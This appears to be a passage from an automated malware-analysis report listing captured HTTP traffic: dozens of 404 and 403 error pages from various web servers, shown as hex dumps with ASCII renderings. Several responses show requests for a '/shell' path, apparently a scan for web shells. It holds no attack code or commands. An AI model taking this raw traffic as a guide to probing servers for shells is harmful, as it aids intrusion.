Forbidden</title></head><body><h1>403 Forbidden</h1><p>You don't have permission to access the URL on this server.<hr/>Powered by Tengine</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:38 GMTServer: ApacheVary: Accept-EncodingContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0Date: Sun, 14 Apr 2024 02:00:38 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 09:00:38 GMTServer: webserverX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINX-XSS-Protection: 1; mode=blockContent-Length: 181Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=8, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 73 68 65 6c 6c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /shell</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:39 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:39 GMTServer: Apache/2.2.15 (CentOS)Content-Length: 278Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:02:52 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundx-guploader-uploadid: ABPtcPrXA5lOHvbPzB__OZJyxcdHPTn9ar0rA5-s_c7b3P8KDvaoOhXEYLFxEkFcBgqiK-dFp6Fi43EQjQcontent-type: application/xml; charset=UTF-8Content-Length: 127date: Sun, 14 Apr 2024 02:00:43 GMTexpires: Sun, 14 Apr 2024 02:00:43 GMTcache-control: private, max-age=0server: UploadServervia: 1.1 googleData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 4e 6f 53 75 63 68 4b 65 79 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 54 68 65 20 73 70 65 63 69 66 69 65 64 20 6b 65 79 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 2f 45 72 72 6f 72 3e Data Ascii: <?xml version='1.0' encoding='UTF-8'?><Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message></Error>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:43 GMTServer: ApacheContent-Length: 203Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:43 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-storeConnection: Keep-AliveContent-Length: 99Content-Type: text/htmlDate: Sun, 14 Apr 2024 02:00:43 GMTExpires: 0Pragma: no-cacheX-Frame-Options: sameoriginData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 34 20 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a Data Ascii: <!doctype html><html lang=en><title>Error 404 : Not Found</title><h1>Error 404 : Not Found</h1>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:45 GMTServer: Apache/2.4.56 (Debian)Content-Length: 271Content-Type: text/html; charset=iso-8859-1Via: 1.1 google
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:45 GMTServer: Apache/2.4.38 (Debian)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:45 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Sun, 14 Apr 2024 02:00:45 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Sun, 14 Apr 2024 02:00:46 GMTContent-Type: text/htmlContent-Length: 150Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:46 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 14 Apr 2024 02:00:47 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:47 GMTServer: ApacheAccept-Ranges: bytesKeep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 35 37 39 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 